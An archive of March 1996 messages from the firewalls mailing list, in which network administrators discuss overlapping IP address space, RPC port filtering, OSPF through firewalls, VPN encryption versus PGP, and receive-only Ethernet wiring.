From firewalls-owner  Fri Mar  1 10:43:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA18737 for firewalls-outgoing; Fri, 1 Mar 1996 08:46:32 -0800 (PST)
Received: from border.dreamworks.com (dreamworks.com [204.250.57.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA18727 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:46:27 -0800 (PST)
Received: from border.dreamworks.com (daemon@localhost) by border.dreamworks.com (8.7.2/8.7.2) with ESMTP id IAA15845 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:46:38 -0800 (PST)
Received: from gateway (gateway.dreamworks.com [10.1.1.2]) by border.dreamworks.com (8.7.2/8.7.2) with SMTP id IAA15839 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 08:46:37 -0800 (PST)
Received: from msmail.dreamworks.com by gateway (SMI-8.6/SMI-SVR4)
	id IAA10746; Fri, 1 Mar 1996 08:47:00 -0800
Received: by msmail.dreamworks.com with Microsoft Mail
	id <31372A10@msmail.dreamworks.com>; Fri, 01 Mar 96 08:47:12 PST
From: "Palmer, John" <JPALME@dwpcpo1.dreamworks.com>
To: Alex Chircop <alex.j.chircop@magnet.mt>,
        firewalls <firewalls@GreatCircle.COM>
Subject: RE: Support of already used IP addresses
Date: Fri, 01 Mar 96 08:45:00 PST
Message-ID: <31372A10@msmail.dreamworks.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Alex,

The local routing tables would misdirect the packets. The local RIPs would 
show that network X is on a local interface and would not have any way to 
distinguish the difference between the a packet intended for the Internet 
and one intended for the local intranet. This is not a firewall issue, but a 
basic routing/network design issue.

John
Senior Network Planner
DreamWorks SKG
 ----------
From: Alex Chircop
To: firewalls
Subject: RE: Support of already used IP addresses
Date: Friday, March 01, 1996 12:01PM


You can try something like this:

 ------ R O U T E R ------- F I R E W A L L ------ | ---- I N T E R N E =
T ------------
Your intranet      Priv addr network              |
                   such as 172.16.0.0             |
                   or 10.0.0.0               Proxy Server with register=
ed address


and configure all your clients to use the proxy server.  That way the c=
lients will
be able to access all addresses, but are limited to the facilities avai=
lable on
the proxy server.  If you use the CERN HTTPD you will have access to go=
pher, ftp
and http together with https if you install the SSL patch.

Hope this helps ... could others please comment on this design ?

Regards,
Alex Chircop - Admin
alex.j.chircop@magnet.mt / postmaster@magnet.mt

Management Systems Unit Ltd.
Malta - Europe

**************************************************
***  Check out http://www.magnet.mt/  ************
**************************************************



>From: Marc Rapoport <rapoport@iway.fr>
>Date: Thu, 29 Feb 1996 16:29:49 +0100
>Subject: Support of already used IP adresses

>Hi, our private Intranet adressing plan is using several class B that =
are
>already
>allocated on the Internet, as our Intranet was created long before we
>planned to interconnect
>with the Internet.
>We use a single firewall which masks our private adresses, but we are =
not
>able to reach
> the public portion of the Internet that uses the same IP adresses.
>The only solution i know to handle that problem is to use 2 firewalls
>serialized=20
>with a pseudo network between the Intranet and the Internet.
>Does anybody knows a product able to solve this problem with only one =
firewall ?
>Thanks in advance.

>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
>=F6=F6      Marc Rapoport :      rapoport@iway.fr                     =
     =F6=F6
>=F6=F6      AGF.SI Tour Franklin - La Defense 8                       =
     =F6=F6
>=F6=F6      92042 PARIS LA DEFENSE CEDEX                              =
     =F6=F6
>=F6=F6      Tel : 49.03.31.77 Fax : 47.67.07.90                       =
     =F6=F6
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D

From firewalls-owner  Fri Mar  1 11:04:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA21161 for firewalls-outgoing; Fri, 1 Mar 1996 09:15:08 -0800 (PST)
Received: from dub-img-2.compuserve.com (dub-img-2.compuserve.com [198.4.9.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA21140 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 09:14:57 -0800 (PST)
Received: by dub-img-2.compuserve.com (8.6.10/5.950515)
	id MAA02487; Fri, 1 Mar 1996 12:12:47 -0500
Date: 01 Mar 96 12:10:18 EST
From: "Paul Chang @ GMI" <73512.2643@compuserve.com>
To: Anyone <firewalls@greatcircle.com>
Subject: Firewalls
Message-ID: <960301171018_73512.2643_EHT28-1@CompuServe.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I found your name in Winnt forum and would like to get info on firewalls for NT
server. TIA

Paul
GMI
3/1/96


From firewalls-owner  Fri Mar  1 11:06:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA24957 for firewalls-outgoing; Fri, 1 Mar 1996 10:26:54 -0800 (PST)
Received: from hp01.vak12ed.edu (hp01.vak12ed.edu [141.104.150.251]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA24951 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 10:26:44 -0800 (PST)
Message-Id: <199603011826.KAA24951@miles.greatcircle.com>
Received: by hp01.vak12ed.edu
	(1.38.193.5/16.2) id AA12558; Fri, 1 Mar 1996 13:24:34 -0500
From: "W.C. Epperson" <epperson@vak12ed.edu>
Subject: filtering RPC ports
To: firewalls@greatcircle.com
Date: Fri, 01 Mar 1996 13:24:33 EST
X-Mailer: Elm [revision: 109.16]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Recently there was a thread here in which it was noted that filtering
portmap (111) traffic merely made it more difficult to find the RPC
service ports, that if they could be guessed, they could be gotten to.

What approaches, from a filtering perspective, might be employed to
block these ports, since they appear to be arbitrarily and dynamically
assigned (from observation and from reading the rfcs)?
--
W.C. Epperson			"I have great faith in fools. 
Senior SE                        Self-confidence, my friends call it."
Information Security Officer             --Edgar Allan Poe--
DBA Emeritus
Curmudgeon-for-Life
Virginia Dept. of Education	        
epperson@pen.k12.va.us

From firewalls-owner  Fri Mar  1 11:09:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA21447 for firewalls-outgoing; Fri, 1 Mar 1996 09:20:08 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA21427 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 09:19:57 -0800 (PST)
Received: from [168.143.1.215] (hcb-ppp.clark.net [168.143.1.215]) by mail.Clark.Net (8.7.3/8.6.5) with SMTP id MAA13311 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 12:17:40 -0500 (EST)
Date: Fri, 1 Mar 1996 12:17:40 -0500 (EST)
X-Sender: hcb@mail.clark.net
Message-Id: <v01520d01ad5c9878ca5d@[168.143.1.215]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: hcb@clark.net (Howard C.  Berkowitz)
Subject: OSPF and firewalls (general)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Several people commented on an earlier OSPF through Firewall-1 query that
it may be worthwhile to examine the underlying routing structure.  I
concur; I'm curious about the original reason to firewall OSPF at all.  As
a primarily routing person, I generally think it's a bad idea, inconsistent
with the architecture of OSPF.

There are several considerations here.  First, OSPF differs from most
protocols one would firewall, as it uses no transport layer protocol.  OSPF
packets run directly over IP (the protocol identifier is 86 or 89; I'm
feeling vertically dyslectic about that last digit).  They will either be
multicast to 224.0.0.5 and 224.0.0.6, or unicast to specific OSPF speaking
routers.

OSPF is definitely intended as an interior routing protocol to be run under
common administration.  Routers in the same area MUST see all updates from
all other routers in that area, or the topological databases/sequencing
gets out of synchronization and routing can collapse.

MD5 authentication for OSPF routing updates recently was standardized, and
is starting to appear in router implementations (e.g., Cisco 11.0).  This
may be a better approach for security than trying to firewall, but I still
question putting OSPF at all on the outside.  I believe it much more
appropriate, from a routing architecture standpoint, to treat the outside
as external to OSPF.

Howard



From firewalls-owner  Fri Mar  1 11:11:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA24480 for firewalls-outgoing; Fri, 1 Mar 1996 10:14:04 -0800 (PST)
Received: from ford.gbnet.org (ford.gbnet.org [192.188.96.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id KAA24475 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 10:13:57 -0800 (PST)
Received: (from steve@localhost) by ford.gbnet.org (8.7.1/8.6.12) id SAA12276; Fri, 1 Mar 1996 18:07:29 GMT
From: Steve Kennedy <steve@gbnet.org>
Message-Id: <199603011807.SAA12276@ford.gbnet.org>
Subject: Re: VPN's over the internet
To: Mike.Jones@unifiedtech.com (Mike Jones)
Date: Fri, 1 Mar 1996 18:07:29 +0000 (GMT)
Cc: firewalls@GreatCircle.COM, frankw@in.net
In-Reply-To: <199603011427.JAA03140@samadams.unifiedtech.com> from "Mike Jones" at Mar 1, 96 09:27:19 am
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

According to Mike Jones

> Frank Willoughby writes...
> > A note or two of interest about VPN's over the Internet: 
> > o Many (most?) firewalls when performing firewall->firewall encryption
> >   are only providing an IP encryption tunnel through the firewalls.
> >   It is important to note that *NO* applications filtering is performed.
> >   While this may offer protection from a MITM (Man-In-The-Middle) attack 
> >   (Internet, etc), it offers *NO* protection from the other entity's
> >   network.  A problem on their network is a problem on your network.
> This is a *very good* point. I was talking to a customer recently who
> manufactures snowmobile equipment and works with the likes of Polaris,
> Arctic Cat, etc., and who would like to exchange some pretty sensitive
> (trade secret) information with them over the Internet. They initially
> wanted me to come in and talk about VPN's and FW-FW encryption, but
> after I brought this point up to them they suddenly realized that
> end-to-end encryption with something like PGP is better for some
> applications.

Have a look at the KarlBridge/KarlBrouter, this can do encrypted VPNs
(using proprietary software encryptin currently, DES on its way).

This will perform any filering BEFORE the tunnelling.

have a look at http://www.karlnet.com/ in the US
               http://www.gbnet.net/kbridge/ in UK/Europe


Regards

Steve

-- 
home steve@gbnet.org       * Flat 2, 43 Howitt Road, Belsize Pk, London NW3 4LU
work steve@demon.net       * tel +44-(0)171 483 1169    FAX +44-(0)181 444 6103
www  http://www.gbnet.net/ * 
bits steve@gbnet.net       * Orange mobile +44-(0)973 600050
Euro firewall info - send mail to majordomo@gbnet.net  (subscribe firewalls-uk)

From firewalls-owner  Fri Mar  1 11:13:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA23688 for firewalls-outgoing; Fri, 1 Mar 1996 10:01:14 -0800 (PST)
Received: from webspan.com (home.webspan.com [204.221.12.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id KAA23651 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 10:00:57 -0800 (PST)
Received: (from jgc@localhost) by webspan.com (8.7.1/8.6.9) id LAA18278 for firewalls@GreatCircle.COM; Fri, 1 Mar 1996 11:58:58 -0600 (CST)
From: Jerry Champlin <jgc@webspan.com>
Message-Id: <199603011758.LAA18278@webspan.com>
Subject: Re: FW: rx but no tx wiring for ethernet
To: firewalls@GreatCircle.COM
Date: Fri, 1 Mar 1996 11:58:52 -0600 (CST)
In-Reply-To: <3136CAA8@london.ecaltd.com> from "Anthony.W.Youngman" at Mar 1, 96 09:57:00 am
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Anthony.W.Youngman stated:
> 
> 
> Soembody will probably correct me, but I think the twisted pair standard   
> says that for 10Mb ethernet, the blue and brown pairs are not used. Of   
> the orange and green pairs, one is tx, one is rx (thats wires 1&2, 3&6).   
> I'm not sure which is which, but breaking one of those should make it   
> receive-only.

Excerpt from:
  Linux Ethernet-Howto
  Paul Gortmaker, Editor.
  v2.4, 27 May 1995

If you are only connecting two machines, it is possible to avoid
using a hub, by swapping the Rx and Tx pairs (1-2 and 3-6).

  If you hold the RJ-45 connector facing you (as if you were going to
  plug it into your mouth) with the lock tab on the top, then the pins
  are numbered 1 to 8 from left to right. The pin usage is as follows:


          Pin Number              Assignment
          ----------              ----------
          1                       Output Data (+)
          2                       Output Data (-)
          3                       Input Data (+)
          4                       Reserved for Telephone use
          5                       Reserved for Telephone use
          6                       Input Data (-)
          7                       Reserved for Telephone use
          8                       Reserved for Telephone use

I think you are right about cutting the Input Data (+) wire, although
you need to be certain that your hub is still talking to the input
data (-) wire.

Hope this helps 

-Jerry

***************************************************************************
       //Keep it simple; as simple as posible, but no simpler.//
                            --A. Einstein
Jerry Champlin   jgc@home.webspan.com   URL: http://128.101.165.26/~jerry
          home: 612-623-4699             work: 612-333-5465
***************************************************************************

From firewalls-owner  Fri Mar  1 12:06:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA28289 for firewalls-outgoing; Fri, 1 Mar 1996 11:25:24 -0800 (PST)
Received: from ns.nexial.nl (ns.nexial.nl [193.78.27.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA28275 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 11:25:15 -0800 (PST)
Received: (from kim@localhost) by ns.nexial.nl (8.6.12/8.6.10) id UAA16885 for firewalls@greatcircle.com; Fri, 1 Mar 1996 20:22:15 +0100
From: Kim Hendrikse <kim@nexial.nl>
Message-Id: <199603011922.UAA16885@ns.nexial.nl>
Subject: Searching this list
To: firewalls@greatcircle.com
Date: Fri, 1 Mar 1996 20:22:15 +0100 (MET)
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

For the benefit of newcomers to this list or those of you unaware of this
service, we provide a "fuzzy" search interface to the firewalls mailing list
This provides fault tolerant searching along with useful feedback and the
ability to constraint the search to relevant time periods. This index also
includes the CERT advisories, BOS mailing list and the 8 little green men
advisories. The URL is:

    http://www.nexial.nl/cgi-bin/firewalls

with other mailing lists and databases available off

    http://www.nexial.nl/search.html

We hope you find this service useful.

  - Cheers
    Kim Hendrikse
 _____________________________________________________________________________
/                                                                             \
|Nexial Systems                 E-mail: kim@nexial.nl                         |
|                               Ph:  +31 475 551643                           |
|                               Fax: +31 475 551552                           |
|St. Annastraat 4                                                             |
|6109 RH                                                                      |
|Ohe en Laak                                                                  |
|The Netherlands                                                              |
|                                                                             |
|http://www.nexial.nl                                                         |
\_____________________________________________________________________________/

From firewalls-owner  Fri Mar  1 16:45:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA01217 for firewalls-outgoing; Fri, 1 Mar 1996 13:19:24 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA00678 for <firewalls@miles>; Fri, 1 Mar 1996 13:17:59 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id MAA24757; Fri, 1 Mar 1996 12:46:03 -0800
Received: from uuneo.neosoft.com(206.109.1.3) by mycroft via smap (V1.3mjr)
	id sma024750; Fri Mar  1 12:45:37 1996
Received: from ris1.UUCP (ficc@localhost) by uuneo.neosoft.com (8.7.4/8.7.4) with UUCP id OAA27668 for GreatCircle.COM!firewalls; Fri, 1 Mar 1996 14:19:21 -0600 (CST)
Received: by ris1.nmti.com (smail2.5)
	id AA00443; 1 Mar 96 13:48:36 CST (Fri)
Received: by sonic.nmti.com; id AA26527; Fri, 1 Mar 1996 13:17:29 -0600
From: peter@nmti.com (Peter da Silva)
Message-Id: <9603011917.AA26527@sonic.nmti.com.nmti.com>
Subject: Re: VPN's over the internet
To: Mike.Jones@unifiedtech.com (Mike Jones)
Date: Fri, 1 Mar 1996 13:17:29 -0600 (CST)
Cc: firewalls@GreatCircle.COM, frankw@in.net
In-Reply-To: <199603011427.JAA03140@samadams.unifiedtech.com> from "Mike Jones" at Mar 1, 96 09:27:19 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> > o It is usually beneficial to firewall VPN connections to localize
> >   contamination in the event one of the VPN entities is breached.

> Frank, could you elaborate just a bit on what you mean by "localize
> contamination"?

Easy. You don't have to just firewall off the internet. You can firewall off
the VPN.

From firewalls-owner  Fri Mar  1 16:48:57 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA01218 for firewalls-outgoing; Fri, 1 Mar 1996 13:19:27 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA00771 for <firewalls@miles>; Fri, 1 Mar 1996 13:18:11 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id MAA24755; Fri, 1 Mar 1996 12:46:02 -0800
Received: from lint.cisco.com(171.68.235.77) by mycroft via smap (V1.3mjr)
	id sma024748; Fri Mar  1 12:45:27 1996
Received: from pferguso-pc.cisco.com (c2robo8.cisco.com [171.68.13.40]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id MAA19694; Fri, 1 Mar 1996 12:45:58 -0800
Message-Id: <199603012045.MAA19694@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 15:46:46 -0500
To: Marc Rapoport <rapoport@iway.fr>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: Support of already used IP adresses
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 04:29 PM 2/29/96 +0100, Marc Rapoport wrote:

>Hi, our private Intranet adressing plan is using several class B that are
>already
>allocated on the Internet, as our Intranet was created long before we
>planned to interconnect
>with the Internet.
>We use a single firewall which masks our private adresses, but we are not
>able to reach
> the public portion of the Internet that uses the same IP adresses.
>The only solution i know to handle that problem is to use 2 firewalls
>serialized 
>with a pseudo network between the Intranet and the Internet.
>Does anybody knows a product able to solve this problem with only one
firewall ?
>Thanks in advance.
>

Yes -- take a look at Network Translation's PIX (Private Internet Exchange).

 http://www.translation.com

- paul


>
>
>=========================================================================
>||      Marc Rapoport :      rapoport@iway.fr                          ||
>||      AGF.SI Tour Franklin - La Defense 8                            ||
>||      92042 PARIS LA DEFENSE CEDEX                                   ||
>||      Tel : 49.03.31.77 Fax : 47.67.07.90                            ||
>=========================================================================
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Fri Mar  1 17:03:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA00748 for firewalls-outgoing; Fri, 1 Mar 1996 12:13:52 -0800 (PST)
Received: from anchorsteam ([38.251.136.100]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA00741 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 12:13:46 -0800 (PST)
Received: from samadams.unifiedtech.com by anchorsteam (5.x/SMI-SVR4)
	id AA16687; Fri, 1 Mar 1996 15:07:58 -0500
Received: by samadams.unifiedtech.com (SMI-8.6/SMI-SVR4)
	id PAA03461; Fri, 1 Mar 1996 15:13:25 -0500
Date: Fri, 1 Mar 1996 15:13:25 -0500
From: Mike.Jones@unifiedtech.com (Mike Jones)
Message-Id: <199603012013.PAA03461@samadams.unifiedtech.com>
To: Mike.Jones@unifiedtech.com, steve@gbnet.org
Subject: Re: VPN's over the internet
Cc: firewalls@GreatCircle.COM, frankw@in.net
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Steve Kennedy writes...
> According to Mike Jones
> > Frank Willoughby writes...
> > > A note or two of interest about VPN's over the Internet: 
> > > o Many (most?) firewalls when performing firewall->firewall encryption
> > >   are only providing an IP encryption tunnel through the firewalls.
> > >   It is important to note that *NO* applications filtering is performed.
> > >   While this may offer protection from a MITM (Man-In-The-Middle) attack 
> > >   (Internet, etc), it offers *NO* protection from the other entity's
> > >   network.  A problem on their network is a problem on your network.
> > This is a *very good* point. I was talking to a customer recently who
> > manufactures snowmobile equipment and works with the likes of Polaris,
> > Arctic Cat, etc., and who would like to exchange some pretty sensitive
> > (trade secret) information with them over the Internet. They initially
> > wanted me to come in and talk about VPN's and FW-FW encryption, but
> > after I brought this point up to them they suddenly realized that
> > end-to-end encryption with something like PGP is better for some
> > applications.
> Have a look at the KarlBridge/KarlBrouter, this can do encrypted VPNs
> (using proprietary software encryptin currently, DES on its way).
> This will perform any filering BEFORE the tunnelling.

Different problem, or I'm misunderstanding some terminology. In the
normal case of an encrypted VPN set up by firewalls, if I
(fred@bedrock.com) send email to jetson@spacely.com, the mail is
unencrypted while traveling on my internal network to the firewall,
encrypted between the firewalls, then unencrypted while traveling to
its destination on the spacely.com network. If I'm sending something as
sensitive as trade secret information, I really want to have
user-to-user encryption, as with using PGP on the message before I send
it and having the recipient decrypt it just before he reads it. By
doing this, I only need to trust the receipient, not everybody who may
have root access on his network.

--
	Mike.Jones@unifiedtech.com
I once started reading a book in the middle of an interview. The guy
asked me what I was doing. I asked him: If you were in a vehicle
moving at the speed of light, and you turned on the headlights, would they
do anything? He said he didn't know. I said: well then, I don't want
to work for you.
	- Steven Wright

From firewalls-owner  Fri Mar  1 18:00:43 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA02794 for firewalls-outgoing; Fri, 1 Mar 1996 14:18:07 -0800 (PST)
Received: from mail.nyc.pipeline.com (mail.nyc.pipeline.com [198.80.32.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id OAA02789 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 14:18:01 -0800 (PST)
Received: from pipe9.nyc.pipeline.com (smcc@pipe9.nyc.pipeline.com [198.80.32.49]) by mail.nyc.pipeline.com (8.7.3/8.7.3) with ESMTP id RAA17246 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 17:16:02 -0500 (EST)
Received: (smcc@localhost) by pipe9.nyc.pipeline.com (8.6.10/8.6.9) id RAA07740; Fri, 1 Mar 1996 17:15:59 -0500
Date: Fri, 1 Mar 1996 17:15:59 -0500
Message-Id: <199603012215.RAA07740@pipe9.nyc.pipeline.com>
To: firewalls@greatcircle.com
Subject: Checkpoint
From: smcc@pipeline.com (System Management Consulting Company)
X-PipeUser: smcc
X-PipeHub: nyc.pipeline.com
X-PipeGCOS: (System Management Consulting Company)
X-Mailer: The Pipeline v3.4.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Can anyone tell me what checkpoint is doing to secure the o/s and platform.

 Also you able to configure checkpoint on multible platforms and o/s.  
  
Any help would be appreciated.  
  
John Hirsch  
--  
  
 
System Management Consulting Company 
New York - New York 

From firewalls-owner  Fri Mar  1 18:20:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA05940 for firewalls-outgoing; Fri, 1 Mar 1996 15:19:08 -0800 (PST)
Received: from gatekeeper.hsa.com (phony.hsa.com [206.135.12.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA05924 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 15:18:58 -0800 (PST)
Received: from gatekeeper.hsa.com (daemon@localhost) by gatekeeper.hsa.com (8.6.12/8.6.12) with ESMTP id OAA12107 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 14:53:11 -0800
Received: from hsa.com ([140.4.3.4]) by gatekeeper.hsa.com (8.6.12/8.6.12) with ESMTP id OAA12103 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 14:53:10 -0800
Received:  by hsa.com                                                            
        id PAA20992; Fri, 1 Mar 1996 15:17:15 -0800                                                               
Date: Fri, 1 Mar 1996 15:17:25
From: Matt Holdrege <matt@hsa.com>
Message-Id: <19960301151725matt@matt>
To: firewalls@greatcircle.com
Subject: IP/IPX firewall
X-Mailer: Pronto E-Mail [version 2.0]
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm looking for a firewall that would allow only certain IP and IPX 
addresses to access a LAN. At least one of the interfaces on the Firewall 
need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
a beast exist?

If not, is there an authentication tool that will run on AIX that will 
authenticate IP and IPX logins?

TIA,

Matt Holdrege     matt@hsa.com

From firewalls-owner  Fri Mar  1 18:23:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA04685 for firewalls-outgoing; Fri, 1 Mar 1996 14:57:01 -0800 (PST)
Received: from eagle1.raptor.com (raptor.com [204.7.243.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA04679 for <firewalls-digest@GreatCircle.COM>; Fri, 1 Mar 1996 14:56:52 -0800 (PST)
Received: from raptor1.raptor.com ([204.7.242.10]) by eagle1.raptor.com
          via smtpd (for miles.greatcircle.com [198.102.244.34]) with SMTP; 1 Mar 1996 22:54:07 UT
Received: from raptor1.raptor.com (localhost [127.0.0.1]) by raptor1.raptor.com (8.7.3/8.7.3) with ESMTP id RAA10556 for <firewalls-digest@GreatCircle.COM>; Fri, 1 Mar 1996 17:55:08 -0500 (EST)
Message-Id: <199603012255.RAA10556@raptor1.raptor.com>
To: firewalls-digest@GreatCircle.COM
Subject: Re: VPN's over the internet
Date: Fri, 01 Mar 1996 17:55:07 -0500
From: Brien Wheeler <bwheeler@raptor.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Subject: Re: VPN's over the internet
> Date: February 28, 1996 12:55
> 
> Several Firewall vendors now produce firewalls with firewall-firewall
> link encryption.  I recently installed Smartwall from V-One (Gauntlet
> VAR) and it worked fine.
> 
> Last I heard Raptor, Sun and possibly others had or were working on
> encrypted links - a flood is coming.  DEC and others make stand alone
> encryption boxs to toss on the front of your network.

Raptor has been shipping VPN-capable firewalls since its 3.0 release
(August '95).  These platforms also include secure remote management
capabilities.

    Brien Wheeler
    Software Engineer
    Raptor Systems, Inc.

From firewalls-owner  Fri Mar  1 18:24:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA03785 for firewalls-outgoing; Fri, 1 Mar 1996 14:37:09 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA03780 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 14:37:05 -0800 (PST)
Received: from pferguso-pc.cisco.com (c2robo8.cisco.com [171.68.13.40]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id OAA28626; Fri, 1 Mar 1996 14:33:53 -0800
Message-Id: <199603012233.OAA28626@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 17:34:42 -0500
To: Darryl Wagoner <darryl@sai.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: Support of already used IP adresses
Cc: Marc Rapoport <rapoport@iway.fr>, Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

'Address Allocation for Private Internets' is RFC-1918, which has
superceded RFC-1597.

- paul


At 08:03 AM 3/1/96 -0500, Darryl Wagoner wrote:

>On Thu, 29 Feb 1996, Marc Rapoport wrote:
>
>The correct way to solve this is to use the private class A network
>address that was reserve for this purpose.  I think it is 10.0.0.0.
>but don't quote me on it.
>
>--
>Darryl Wagoner		darryl@sai.com   http://www.sai.com/
>Office: 603.672.0736   		Fax: 603-672-4846
>Web Pages for hire.   Check out NH & MA Movies http://www.sai.com/movies
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Fri Mar  1 18:30:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA13483 for firewalls-outgoing; Fri, 1 Mar 1996 17:05:33 -0800 (PST)
